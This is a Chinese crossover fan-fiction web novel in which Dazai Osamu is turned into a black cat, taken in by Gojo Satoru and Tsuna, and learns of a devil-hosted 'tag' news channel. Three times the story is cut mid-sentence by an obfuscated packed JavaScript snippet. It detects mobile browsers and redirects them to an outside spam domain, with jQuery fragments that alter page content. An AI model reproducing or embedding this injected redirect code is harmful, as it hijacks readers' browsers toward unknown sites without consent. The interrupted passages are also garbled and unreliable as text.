《标签入侵武侦宰》 1. 新的世界 【这是一个变成了二次元漫画的世界。】 耳边响起奇怪的声音,坐在自己的工位上埋头打瞌睡的黑发青年猝然抬起头。 视野里,坐在他对面的搭档国木田独步正五指翻飞地敲着电脑键盘。 右边的中岛敦低着头,正聚精会神地盯着手里的纸质文件,他的手里拿着钢笔,钢笔的一端对准文件页面,迟迟不下笔,似乎是举棋不定。 最小的女社员泉镜花和社里的医生与谢野晶子一起蹲在医务室里。 谷崎兄妹不在,他们现在还是上学的年纪,一般没有课程才会来武装侦探社帮忙。 宫泽贤治出去打理他的农田,也不在。 独自一人占据一整张桌子,坐在最里面的江户川乱步手里拿着一张四开的报纸,眯缝着眼睛,盯着报纸上的某一个板块。 所有人都很正常地做着自己的事情,像是没听到这道声音一样。 【武装侦探社,年轻貌美的现任社员太宰治,即本漫画的主角。(芳龄22岁,注:比之现在流行的漫画里十几岁的主角稍微老了一点,这一点不太吃香)】 那个声音又响起了。 所以,是只有自己能听到?而且这绝对不是异能,如果是异能力,只要作用在他身上就会被他自身的异能力『人间失格』无效化。 想着,太宰治将手肘抵在桌子上,单手撑着脸颊,幽幽地叹了口气:“哎呀最近好倒霉哦。” “太宰,你像个风箱一样在那里长吁短叹的干嘛呢!”国木田独步头也不抬,眼睛仍然紧盯着电脑屏幕,手指动作不停。 “有大事件发生哦~”太宰笑眯眯地说道,“说不定国木田君现在在做的报告都会白做呢,所以干脆放弃吧。” “你在说什么胡话?”国木田独步八风不动地推了推眼镜。 【作为一本奇幻漫画的担当,太宰治一个人有点势单力薄,所以我们又给他添加了一只天赋异禀的猫。】 “喵~” 说来就来,太宰面前的办公桌上,出现了一只浑身白毛的布偶猫,大概2岁左右大小。 这只猫有着圆溜溜的蓝色眼睛和粉嫩嫩的小嘴巴,头顶立着的两只三角形的黑色小耳朵里,耳廓里飞出来一缕长长的白毛,眼周覆盖了半圈灰黑色,就像是给它的眼睛画了一道眼影一样,四只脚脚都被垂下来的白毛遮住,蹲在那里看着他的样子简直就像是一个糯米团子。 在他见过的所有布偶猫里,这只猫的颜值也算得上是鹤立鸡群的美。 但太宰不为所动,甚至还非常明显地撇了撇嘴。 在听到天赋异禀这个词的时候,他的眉心一跳,直觉地生出了一种不详的预感,在看到这只猫如旁白所说一样出现的时候,他不由得微微蹙起了眉头。 下一刻,不详的预感不出所料地应验了:“奴隶喵,快给你的主子倒水喵~” 布偶猫仍然端庄甜美地蹲在那里,仿佛这豪不客气的话不是自它口中说出来的一样。 太宰微微眯起眼睛,眼神和蔼得阴风阵阵,他慢慢弯起嘴角,身体前倾,抬手按在布偶猫的小脑袋上,手上稍一使力,同时一字一顿地道:“你、说、什、么?” 布偶猫的脑袋被那股力道压得几乎埋进自己的胸膛,尖锐的、含糊不清的声音自太宰手底下响起:“疼疼疼,放手喵!” 太宰稍微松了松手。 布偶猫挣扎着从手掌一侧探出脑袋,快速吸了一口气,紧接着惊讶的喵声响起:“等等,人类喵,你怎么会知道我在说什么喵?” “我还想问你这只会说人话的妖怪是从哪里冒出来的呢。”太宰收回抵在布偶猫头上的手。 “奴隶喵,不要妄想打听主子的事情喵!”布偶猫骄傲地挺起它并不宽厚的胸膛。 太宰:“……” 这家伙是好了伤疤忘了痛是吗? 他卷起袖子,打算狠狠修理一顿布偶猫。 见此,布偶猫却也不甘示弱,它昂起小脑袋,竖起来的瞳孔如同淬炼过的火焰,两只前脚抬起来,露出粉嫩的梅花状脚掌,呲的一声,十根尖尖的指甲戳出来,银白光芒自那一闪而过,仿佛十把锋利的小刀。 太宰挑了挑眉,把袖子放下来,虽然风衣作为护甲来说过于薄弱,但这好歹也可以算作一层防护,再加上绑在身上的绷带,拥有两层护甲的他不相信自己挡不住布偶猫的爪子。 战斗一触即发,在这场决定谁才是主人的战斗中,布偶猫拥有的是一猫之力和中上水平的敏捷程度,太宰拥有的是被壮汉一拳打倒之力和上中水平的敏捷程度。 一人一猫,条件可谓是不相上下,相当公平公正。 下一刻,以太宰面前的办公桌为战场,他们打起来了,打得天昏地暗,日月无光。 十分钟后,这场关乎尊严的战斗终于结束。 办公桌上,凌乱的文件堆变成了铺陈在桌子上的地垫,被撕成奇形怪状的纸片洒落一桌,多了几条爪痕的钢笔耷拉在桌边,一头在桌外,一头扒拉在桌面上,颤颤巍巍的,看起来要掉下去,却始终没掉下去,原本在文件堆边站岗的不锈钢水杯杯口磕出一道明显的口子,凄凉地躺在桌底一角。 布偶猫仰躺在铺了一层杂物的桌上,四根爪子摊开,圆溜溜的眼睛半闭半合,眼周发青,粉嫩的舌头自嘴里吐出半截,小脑袋上鼓起一个大包,头顶两侧的三角形耳朵也蔫巴地垂下来,胸前厚厚的白毛则被攥掉了几缕。 看起来一副被玩坏了的样子。 太宰站在它旁边,正慢条斯理地掸掉身上沾染的白毛。 一个站着,一个躺着,谁是胜利者无需赘述。 至于战斗过程嘛,其实乏善可陈,毕竟布偶猫只拥有挥舞猫爪一个技能,而卑鄙的人类却拥有以大欺小和四两拨千斤两个技能。 总之,在那十分钟里,太宰发挥自己在港口黑手党里处于中下水平的体术,使用凌驾于猫咪之上的人类智商,赢得了全面胜利。 可喜可贺。 耗费五分钟弄掉身上所有白毛之后,太宰舒了一口气,捋了捋蓬乱的头发,卷起破破烂烂的袖子,扶正四脚朝天的椅子,面朝布偶猫坐下。 他暴露出来的手臂部分被绷带覆盖得严严实实,几乎看不到一丁点皮肤。 “猫,”太宰好整以暇地问道:“你有自己的名字吗?” 听到他的问话,布偶猫冷漠地哼了一声,翻身蹲坐,垂着头,一下一下地舔舐胸前刚刚被太宰弄乱的毛。 “不说的话,我就叫你傻瓜哦~”带着一脸清爽的笑容,太宰语气轻快地说道:“这个名字倒是很有几分符合你的气质呢。” “本主子……”布偶猫飞快抬起头,眼角余光瞟见太宰突变暗沉的眼神,它高昂的气势霎时冷却到冰点,无精打采地说:“本猫的全名是猫之千·卡米拉·亨利·查尔斯·菲利普·亚瑟·乔治·蒙巴顿·温莎。” 停顿了一会儿后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506834|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道想到了什么,布偶猫抖了抖身体,微微抬起头,幅度不过寸许,它做出的这个动作神似某电影中,人类贵族在自诩矜持地应允某下仆的请求时一样。 不知为何,在这个时候,它的气势像是被吹起来的气球一样,又迅速膨胀起来。 挟着贵族般的气势,它用一种施舍的语气说道:“允许人类你叫我猫之千,或者卡米拉一世喵~” “哎呀决定了,就叫你蠢白好了。”对面的太宰在桌子上敲了一下,根本不带听它说话的,自顾自决定了。 “喵***喵*****喵!” 满身白毛炸开,乍一看仿佛一颗圆球的布偶猫唾沫横飞地喵和哔个不停,仿佛奶牛猫变种。 “所以蠢白想说的脏话都被和谐了吗?”太宰点点头,稍微赞许了一下这个规定。 看见他这幅样子,蠢白的声音顿时变得更大也更多了:“喵***喵****喵喵**喵!” 太宰面不改色,笑吟吟地说道:“听不清呢~” 喝——!布偶猫倒吸一口冷气,面色胀得通红,十足的愤怒使它的嘴里不断飘出乱码。 【就这样,太宰和蠢白幸福的生活开始了。】 这道声音,就简称为旁白吧,旁白突然在一人一猫耳边响起。 几乎是旁白出现的那一刻,布偶猫膨胀成了一只河豚,“我不能接受喵!!!” 在这声堪称女高音在世的尖厉怒吼中,布偶猫的身体逐渐变大,最终变得和老虎一样大,紧接着,它朝太宰张大嘴,恐吓性地吼了一声。 只是一眨眼的功夫,太宰发现变大的布偶猫不见了,眼前天旋地转,无数光怪陆离的景象半强迫性地往他的视野里挤,但他的信息处理中枢似乎罢工了,什么都理解不了,过度的信息量几乎使他的神经断裂,可他连主动闭上眼睛都做不到。 正打算强制清空思绪的下一刻,所有可能会导致人类崩坏的不良因素骤然消失,同时太宰发现自己的身体似乎发生了什么不妙的变化。 在他理智罢工的那个阶段,似乎他整个人被缩小,重构,变形成了一只黑色的小猫。 身体大概一尺来长,全黑色的毛发油亮顺滑,十分有光泽感,通体没有一根杂毛,和他的头发一样蓬松厚密。 此刻,黑色小毛团头顶那双三角形小耳朵机警地竖起,一双鸢色的眼睛睁得圆溜溜的,四肢僵硬地摊开,长长的黑色尾巴也竖得跟条棍子似的。 耳边传来急速的破空声,头顶落下冰凉的雨水,太宰那双鸢色的大眼睛迷茫地眨了眨,似乎还没搞清楚现在是什么状况。 下一秒,扑通一声,黑色小毛团掉进了水里。 “咕嘟咕嘟……”河面掀起一圈圈浪花,浪花的中心慢慢恢复平静,只偶尔冒出几个泡泡,砸进水里的黑色小毛团一点也不挣扎,任由身体径直往下沉。 天降入水的好机会,嘛,暂且沉下去休息一下好了。 “一只掉进水里也不会自己浮起来的小猫,哇,好笨。”噼里啪啦的雨声中,一道朦胧的人声穿过水面传进他的耳朵里,紧接着,一只大手破开水面,准确地抓住下沉的他。 被捞起来的太宰趴在人家的手心上,第一件事就是张开嘴,呸地一下,吐出来一尾恰巧游进他嘴里的倒霉小鱼。 随后他恹恹地睁开还在往下滴水的眼睛,微微抬起头,朝上一撇,正巧对上一双看过来的,在茜红色夕阳下也如同晴空一般的眼眸。 2. 家人们,捡到一只猫 来人蹲在河岸边,一只手里撑着一把材质厚重的纯黑色雨伞,另一只手的袖子被卷到手肘处,黑色的小毛团就趴在这只手的手心上。 他上身穿着一件黑色的圆领衫,下身是一条直到脚踝的深蓝色牛仔裤,脚上穿着一双棕色系带靴,总体是简单大方款的休闲系打扮。 一头银白色的发丝柔软飘逸,富有光泽,边缘的几缕翘起,令人惊奇的是,底下那纤长的眼睫毛竟然同发丝的颜色一样,也是银白色。 太宰猫眨了眨眼,和银白眼睫下那双似乎泛着碧波的天蓝眼眸对视片刻,冷不丁打了个喷嚏。 “感冒了?”来人注视着不停打喷嚏的小猫,托着它往胸前拢了拢,黑猫湿漉漉的毛发挨着他的衣服,洇湿了一大块地方。 没有,太宰想说这两个字,出口的却是一声“喵”。 他有一瞬间睁圆了眼睛,之后紧紧闭上嘴。 银白发色的青年站起来,单手撑着雨伞,大步走到马路边,做了个打车的手势,没几分钟,从远处驶过来一辆出租车,在他面前停下。 打开车门,收起雨伞并甩了甩,他一低头钻进车里。 一只手抱着湿漉漉的小猫,另一只手拿着雨伞,水滴顺着伞面滑下,滴落到车厢地板上,关上车门,他吩咐道:“去最近的一家宠物医院。” 出租车启动,白发青年几次挪动下半身,后座对于他来说似乎有点过于狭窄,一双大长腿无处施放,最后只能委委屈屈地蜷起来。 而被他抱在胸前的太宰几乎要哈气了。 变成小猫的身体被攥在人家的手心里,被迫紧贴着那人的胸口,热气浸染毛发,几乎要传遍他全身。 不自在的太宰使尽浑身力气,却没能挪远一厘米,甚至都没叫攥着他的人察觉到这份挣扎…… 折腾了大概半分钟后,太宰黑了脸色,可惜的是,他现在是一只黑猫,黑猫的脸本来就是黑的,再黑一点也没谁能看出来。 不信邪地再次挣扎了大概十分钟,仍然毫无成效的太宰麻木地闭上自己的双眼——毁灭吧!这个无情的世界。 一无所觉的白发青年在宠物医院门口下车,带着猫来到问诊室。 他打算让医生给他捡到的猫好好检查一下,奈何,小黑猫全程不听指挥。 才把它放进烘干机烘干,一出来就翻脸不认人,医生想检查,猫却这不让摸那也不让摸。 它也不像普通小猫一样反抗式的尖叫,除了刚开始听到的那声微弱的喵,被抱着过来的一路上,一直沉默着不发一喵,但医生一上手它就逃跑,强制检查的话它还会伸爪子。 一阵鸡飞狗跳后,望着跳上三米高的柜子顶端后总算安静下来的小黑猫,白发青年抓了抓头发,“算了,它不想被检查就不检查了,我现在只想知道它感冒了吗?我刚从水里把它捞出来。” 天知道,就小不点点的猫咪,是怎么蹦跶到超过它身材几倍高的柜子上的。 “应该没有。”医生气喘吁吁地停住脚步,捶了捶老腰,语气有点不确定。 光用肉眼观察,结果并不一定准确。 “也是,这么活蹦乱跳的,看起来不像是生病了的样子。”白发青年点了点头,“给我拿点治疗这么大的小猫感冒的药。” “你不是说……”医生疑惑了。 “有备无患嘛~”白发青年理所当然地说,“看它这么能折腾,说不定以后用得到呢?” “这话的意思,你是想收养这只猫?”医生推了推鼻梁上驾着的黑色方框眼镜,“提醒你一句,没养成和人类亲近习惯的野猫很难养。” “没关系,”白发青年笑容满面,“我绝对没问题。” 医生:“……” 希望不是盲目自信吧,医生狐疑地瞅了他两眼,没多说什么,照他的话批了几副猫咪专用感冒药,并且附送了他一张便利贴,在上面写上了一大堆注意事项。 拿到药后,身高至少一米九的白发青年走到柜子前,原地起跳,跳到最高处时,闪电般伸手,一把抓住柜子顶端的猫咪,不容拒绝地给它端下来。 带着猫和药,他在附近的居酒屋打包了两份饭菜,再次搭乘出租车,下车后走上一小段路,在写着五条的门牌前停下。 眼前是一座二层楼的独栋房屋,房屋被一圈砖红色围墙圈住,穿过围墙,前面是庭院,栽有一片碧绿的草地。 推开房屋的大门,在玄关处换上棉质白色拖鞋,放下雨伞和装着药物的塑料袋子,把两份饭菜放在饭桌上,白发青年捧着猫走到客厅。 在米白色沙发上坐下,他提高声音,朝着上面喊道:“纲吉,快过来看,我捡到了一只猫。” 语气中透露出一种出门捡到钱的,朴实无华的快乐。 楼上传来砰的一声,随后是啪嗒啪嗒走路的声音,紧接着楼梯口处出现一个人的身影。 下一秒,哐当一声,这个人不知怎么的脚下一滑,从楼梯上滚了下来,脸朝下一路火花带闪电地滑到沙发边,结结实实地一头撞在沙发上,堪称何为脸刹的最佳演示。 坐在白发青年手上的太宰瞪大了眼睛,如此别开生面的出场方式,实在叫他大开眼界。 白发青年摇了摇头,“纲吉,你又在下楼的时候摔倒,没事吧?” 被称作纲吉的少年抬起头,脸中央印着一道大概四指宽的红痕,横过高挺的鼻梁,占据了大半脸颊。 除此之外,别无伤口,看得出来很皮实。 他有着一头毛毛躁躁的棕色短发,大大的红棕色眼眸镶嵌在一张标准阳光开朗大男孩的脸上,看起来就像是还没出象牙塔的中学生,年纪估摸着在十四岁左右。 “没事。”棕发少年纲吉揉了揉鼻子,若无其事地爬起来,一副摔习惯了的样子,站直后他侧过头,一边观察黑猫,一边弱弱地询问:“五条老师,你想养猫?你会养猫吗?” “我什么不会?”五条悟牛气哄哄地昂起脸,但很快,他低下头,嬉皮笑脸地说:“这不是有你在吗?你不会眼看着老师我白忙活吧?” 沢田纲吉:“……” 沢田纲吉:“喂想着指望我的话,一开始你就不要想一出是一出啊!” “你也不想让这么可怜的小猫死掉吧?”五条悟把手里的小猫递到纲吉眼皮子底下。 本来还想吐槽点什么的纲吉顿住,眼前的小黑猫正睁着一双布灵布灵的大眼睛,可怜又可爱地望着他,仿佛在问,你不想收养我嘛? 此乃人类在面对可爱生物时通常会诞生的幻想。 实际上,全身被笼罩在一双大手里,被人卡住脖子身体动弹不得,端过来端过去,只有一颗脑袋能动,太宰猫又不想喵喵喵地叫出声以表抗议,只好用力翻了个白眼,这会儿耷拉着眼皮,内心极度无语中。 ——你们要不先问问我想被收养不? 只是此猫外形太过漂亮,不管做什么动作都显得赏心悦目,所以在不会读心术的人类眼里造成误解也是可以原谅的。 纲吉不知道这一点,眼下就被漂亮小猫糊住了眼睛。 五条悟趁势发动攻势,三言两语间说动了他,随后两个人商量着敲定了太宰猫的归属——五条悟名义上负责养猫,沢田纲吉实际上负责养猫。 全程,太宰都没有发出一喵,眼睁睁看着他们三下五除二敲定自己的猫生归属权。 商量好后,两个人类吃掉五条悟打包回来的饭菜,而在此期间,太宰猫得到了一盘温热的牛奶和一小块煮熟的鸡肉。 牛奶是纲吉明天早餐时准备喝的饮品,鸡肉则是储备在冰箱里的食材,他们不是什么时候都打包饭菜回来吃,有的时候也会自己做饭,所以冰箱里存放了一些食材。 好不容易被放开,太宰猫学着真正的猫咪那样蹲坐下,有一口没一口地舔着牛奶,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506835|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时抬起头,左瞄瞄右看看。 等到在饭桌上的两人吃完饭,他的那份牛奶只少了一半,一小块鸡肉更是只咬了一口。 饭后,两个人类坐上沙发,开始聊天,聊纲吉的学校生活,聊五条悟今天去了哪些地方。 旁听的太宰猫从他们俩的对话中了解到,纲吉正在一个叫做并盛中学的地方读书,五条悟也在那里,不过他不是学生,是负责教他们班数学的老师。 这座名叫西吉市的城市,他们两个都不熟悉,于是趁着没有课上的空闲时间,五条悟会出门随便转转。 至于为什么两个人听起来只是同校老师和学生这种生疏关系而已,却会亲密到住在一起,两个人都没有聊起。以及,这个房子似乎只有两个人在住,两人的父母亲人什么的都没有出现。 谈到一半,五条悟瞟了一眼时间,掏出遥控器,“到看新闻的时间了。” 打开电视,他在遥控器上鼓捣一通,调到某个频道,首先响起的是一首劲爆的背景音乐,紧接着,电视屏幕由模糊变到清晰。 沢田纲吉虎躯一震,端正坐姿,脖子稍微朝前伸,眼睛紧盯着电视屏幕。 get到两人的注意点全转移到所谓的新闻上,太宰猫立刻抛弃没滋没味的晚餐,迈着轻盈的步子,目不斜视地越过五条悟,跳上沙发,在纲吉的身边排排坐好。 眼睁睁看着黑猫无视他一样的路过,不知道是不是心里不平衡,五条悟大呼小叫着朝太宰猫抓去:“喂没良心的猫,是我把你救起来的啊!你不该坐我这边吗?” 刚坐好的太宰猫飞速站起来,往纲吉另外一边跳去,躲过头顶伸过来的大手,但五条悟也紧跟着改变方向,被阴影急速笼罩的太宰猫一个急刹车停止前进的步伐,蜻蜓点水般跳上沙发背,再踩着纲吉的脑袋往左侧一跳。 一人一猫将纲吉的身体当成猫爬架和障碍物,玩起了老鹰抓小鸡的游戏。 头顶时不时挨一下,眼前猫飞手跳,沢田纲吉嘴角一抽,脸上的微笑慢慢维持不住,在微笑完全消失的那一刻,他的眼睛突地变成金红色,脑门上燃起一朵橙红色的火苗,一张脸也板了起来,周身柔和的气势顿时变得凌厉非常。 变成这种状态的他闪电般伸出手,一只手准确地抓住五条悟的手腕,另一只手抓住乱跑乱跳的太宰猫,气恼地喊道:“你们两个,都给我适可而止啊!” 被抓住的太宰猫微微眯起眼睛,没有挣扎,经过一段时间的‘折磨’,他已经习惯并接受了这份变成猫后的不便利之处,倒是这个被叫做纲吉的少年此时的状态吸引了他的全部注意力。 单看气势和动作像是变了一个人,但说话的语气没有变化,明明刚刚下楼梯时都会平地摔,像是身体不协调,变身后眼力,出手的速度却变得又快又准,是变身系的异能力吗? 变身后的特点是头顶冒火,等等,头顶冒火?想到这里他的思维卡顿了一下,一个无厘头的念头突然冒了出来——可以和这位少年借个火吗? 阿敦下次如果还想烧送给他的情书,往他头上借火点蜡烛一定很方便。 ……算了,他怏怏地叹了口气,那次的情书烧了几乎一天一夜,过后侦探社禁止他把家里堆不下的情书存放过去,阿敦没机会了。 想毕,轻车熟路地拨回离家出走的思绪,太宰继续思考当前的处境。 变成这种状态的他,异能力似乎失效了,还是说,这个叫纲吉的用的不是异能力?……从他今天遇到的事情来看,后一种的概率估计更大点。 就在这时,从电视机里传出来的音乐声停止,两道声调略带着点古怪,一道听起来偏尖锐,一道听起来偏磁性的成年男声响起。 “标签无所不能,无所不为。” “欢迎收看由暗塔独家冠名赞助的【恶魔在召唤你】频道。” “开始了。”五条悟和沢田纲吉对视一眼,同时开口。 3. 我要看血流成河 朝电视上正在播放的画面瞟了一眼,沢田纲吉放开抓着五条悟手腕的手,匆匆把太宰猫放到他身边:“五条老师,这样就可以了吧?不要再招惹小猫了。” 被迫各退一步的一人一猫对视一眼,相继转头看向电视,好似在这一眼中达成了和解。 电视屏幕上出现两个奇怪的主持‘人’,一个鹿头人身,一个电视头人身,明明顶着奇形怪状的头颅,脸却是符合人类审美的脸,甚至还是能够得上被称赞一句帅气的程度。 两‘人’都穿着标准的黑西装,顶着鹿头的那个有着一副符合人类标准的好身材,看起来又高又瘦,顶着电视头的那个有着一副过于健硕的倒三角身材,健壮的胸肌差点要把套在身上的西装顶破。 身材一宽一窄,形成鲜明对比。 鹿头人身先开口了:“大家晚上好,我是小鹿恶魔。” 紧接着电视头人身说道:“大家晚上好,我是电视恶魔。” 这是两个主持‘人’平平无奇的开场白。 开场白过后,小鹿恶魔咧起他那如同画上去的完美嘴角,眉飞色舞地问道:“在座收听【恶魔在召唤你】频道的各位,我该死的好朋友们,有人打通最高标签副本了吗?” 他举起手,放在耳边,作出一个在倾听什么的姿势,大概三秒后说道:“什么,没有?” “啊哈哈哈……”一阵狂笑声响起,才笑了几声,笑声戛然而止,紧接着他比了个大拇指朝下的手势,一脸鄙夷地道:“你们也太逊了吧!” 语调抑扬顿挫,表情活灵活现,活像是在表演舞台剧。 “小鹿今天有点伤心,”旁边电视头恶魔装模做样地揩了揩没有流出一滴泪水的眼角,“大家不要怪他。” 他字才落下,伴随着一阵超绝得意的大笑,电视头恶魔看起来很是迫不及待地接了一句:“因为他今天在标签副本摔了个大跟头哈哈哈!” “我该死的好朋友们你们知道吗?”小鹿恶魔微笑着回敬了他一句:“电视头今天出门一脚踩到狗屎了。” 话毕,两‘人’突然同时转头朝着彼此投去想杀魔的视线。 视线碰撞在一起时,对方那张熟悉到令人作呕,简直可憎至极的脸也映入了双方的眼帘,下一刻,两‘人’二话不说,你一句我一句,相当积极地抖出对方近期的黑料,以表自己最高的敬意。 几句话之后,竟是电视头恶魔败下阵来,无料可抖的他只好率先打断这场竞技,语气沉闷地播报正经新闻: “据悉,图塔所在的西东市今天发生大震动,此后有人看见世界闻名的顶级冒险家金·富力士在图塔顶层现身,随后他又去了布满迷雾的无度岛,有需要的朋友可以试着去无度岛找他。” “无度岛吗?”五条悟突然出声说道,“好像就在附近诶,离我们所在的西吉市不是很远。” “五条老师想去无度岛找金·富力士?”沢田纲吉被他的话吓了一跳。 虽然来这个世界的时间很短暂,但他可是听说了,布满迷雾的无度岛,因为无从度人被取名为无度的无度岛,曾经没有一个人能去了那里后再回来,直到这个传言在一年前被金·富力士打破。 时人认为套在无度岛头上的魔咒已经破灭,于是想效仿金·富力士的行为,但对那些鲁莽去吃第一批螃蟹的人来说,无度岛又变回了那个无从度人的无度岛,那次行动一共去了一百多个人,但没有一个人回来。 去了那里后还能再出现的,纲吉只听说过金·富力士一个人,但金这个人吧,实在不能把他算在平常人里。 就像电视头恶魔说的那样,作为世界闻名的顶级冒险家,他还没有哪里去不了,一切传说中的险恶之地在他面前都变得平平无奇,仿佛所有到了他头上的危险,都会变成他波澜壮阔的冒险之旅中的一些趣味点缀。 虽然五条老师也很厉害,但冒险经验和处事手段肯定比不上这种传说中的顶级冒险家,去了无度岛后不一定还能平安无事地回来。 “别担心啦,”瞥到纲吉着急的小眼神,五条悟摸了摸他的脑袋,“我倒也没有很想去无度岛,只是一时好奇心作祟喔。” “那就好。”纲吉拍着胸口舒了一口气。 “继续看新闻吧。” 太宰猫在一边竖着耳朵听两人的对话,随后若有所思地眨了眨眼睛,果然是新世界吗?新闻里传播的都是不认识的人名,组织名和城市名,而且要说到世界闻名这种程度,在他原来的世界里,不可能有他不知道的人或物。 这个叫金·富力士的,他就完全不认识。 随着两人的话题结束,他也将目光投向前方的电视屏幕。 “但是,这条消息我们不确定是不是已经过了时效。”屏幕上的电视头恶魔耸了耸肩,一脸无所谓地道:“提供线索的人只是偶然在无度岛旁遇见了他,那家伙可能是路过无度岛,也有可能是去那里有事要做,说不好现在还在不在,所以我的好朋友们,你们自己判断。” 等他说完,小鹿恶魔一脸振奋地接着说道:“一月一排的标签排行榜上,收集标签最多的仍然是西索·莫罗,他在天空竞技场设下赌局,三个月后,打败他的人可以从他所拥有的任意标签中选择获取其中之一,但失败的代价则是——” 他拉长了声音,这时,一阵急促的音乐插入,待气氛被推到最高潮的时候,他用狂热的表情高喊:“死亡!” “哈哈哈哈哈!”不仅是小鹿恶魔,连刚刚一副无谓表情的电视头恶魔也一并笑出声来。 两个主持人的嘴角几乎咧到耳朵根,即使脖子上顶着的那个头可以说是不同物种,但这一刻的表情却神奇的相似,非人感几乎要溢出画面。 “西索,天空竞技场……”对他们这一点视若寻常的五条悟两眼发亮,“有点意思。” “提醒五条老师一下,”旁边传来了纲吉的声音,五条悟侧过脸,看见他心累一样地扶着额头,“设置特殊赌局的天空竞技场需要门票才能进入,我们手里可还没有一个标签可以作为入场门票呢,更何况,参加赌局也需要标签作为赌资。” “标签……”五条悟低声呢喃着,眉头微微蹙起,他对这东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506836|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在着某种疑虑,所以还没有主动参加过任何一个标签副本。 要参加天空竞技场的赌局需要至少一个标签,要获得标签就需要去图塔参加标签副本,每个人在标签副本里会经历的时间都不固定,因人而异,最短的一天搞定,最长的甚至在副本里呆了大半年时间,最后还通关失败,受到了严重的惩罚。 标签副本的门槛虽然不是很高,但真正能通关的人却是少之又少。 此时电视上满屏笑声结束了,五条悟抬起头,屏幕上的小鹿恶魔坐直了身体,一对漆黑的眼球几乎快要瞪出眼眶,正在用煽动性的语气说着:“电视前我各位该死的好朋友们,你们心动了吗?心动不如行动,我们的口号是——” 他一挥手臂,电视恶魔便默契地接道:“我要看血流成河!” “对,血流成河,我们要看血流成河!” “血流成河!”两人异口同声地尖声喊道。 接连不断的血流成河这几个字在太宰猫的耳边重重回响,他歪了歪脑袋,这个叫五条老师的想去天空竞技场,莫非他很想看血流成河? 五条悟要是听到了他这个想法,一定会返给他六个点。 “有意思的消息播报完毕,接下来的是无趣的部分,嗯……让我们快点度过这段无聊时光。”小鹿恶魔露出一个不耐烦的表情,拿起桌上的文件,随便看了两眼,语速飞快地念道:“以工匠技术闻名世界的猫之一族据说出了一个继承祖先天赋的天才。” “嘿,柔弱的小猫咪再怎么天才也就是那么一回事,都不够我一口吃的。”坐在他旁边的电视恶魔伸出长长的舌头,舔了舔下嘴唇。 小鹿恶魔剐了插话的某恶魔一眼,板着脸,用棒读的语气平铺直叙:“图塔通缉一个名叫太宰治的家伙,死活不论,赏金一百亿,提供有效线索也可以获得最低一千万,最高无上限的赏金。” 还没等电视恶魔继续胡乱插嘴,小鹿恶魔自己就先绷不住了:“这什么乱七八糟的?” “嗤,就算是图塔发布的,这也是无聊的通缉令,没有一点价值。”他一把将手里的通稿揉成纸团,用力一捏,纸团顷刻变成粉末,洋洋洒洒地被风吹走。 紧接着他抬起眼帘,眼底寒光冷冽,杀气四溢地道:“竟敢将广告打到我的节目上,下次谁敢再让我念这么无聊的东西,我就——杀谁全家!” 坐在后台的导演,脸上的冷汗像是瀑布一样刷刷往下流,半响才颤颤巍巍地捏着毛巾擦脸。 这年头,连导演都成了高危职业,真是世风日下。 像是要专门和他对着干,旁边的电视恶魔表示有不同意见:“这个叫太宰治的家伙是什么人,赏金这么高?连我有点心动了。” 紧接着他话锋一转,打了个哈哈,“可惜我不打算转行。” 他拿起横在台上的一张通缉令,看了片刻,弯起的嘴角直咧到耳朵根,“卑鄙无耻,阴险毒辣,我欣赏这家伙!” “等他落网的那一天,我一定要去见见他。” 莫名其妙在新世界背上通缉的太宰:??? 4. 标签无所不能 刺激太大,黑色小毛团头一歪,一不小心睡了过去。 五条悟侧过头,乍一看,旁边是一团漆黑,猫咪的眼睛和鼻子在哪都分不清。 小猫眼睛闭上之后,仿佛和黑暗融为一体,如果把他放到黑色垫子上,估计都找不到猫在哪里。 眼珠一转,他朝着黑猫的方向慢慢伸手,小心翼翼地把睡着的黑猫挪到手上,不知道是不是他的动作很轻,黑猫被转移的全程都没有醒过来。 轻轻吁出一口气,像是完成了什么很了不起的事情一样,五条悟露出满足又得意的笑容。 笑着笑着,他的眼神落在趴卧在手心的黑猫上。 黑乎乎的小动物团成一团,脑袋歪歪扭扭地耷拉在他的手上,呼吸逐渐平缓,肚皮一起一伏,生命征兆令人安心的稳定。 从他这个方向只能看见猫咪的半边脸,脑袋顶上那只三角形的小耳朵垂了下来,鼻子里喷出的气息打在他的手心上,痒痒的。 有点被萌到。 自认狗派的他忍住抚摸猫咪的想法,拿起手边的遥控器,按了几下音量键,调低电视的音量,反正接下来也没有什么值得注意的消息。 从前几次的经验看,一般被小鹿恶魔认为无趣的消息,对他们来说也确实不值得关注。他们收看这个频道,主要是为了了解有关标签的最新消息。 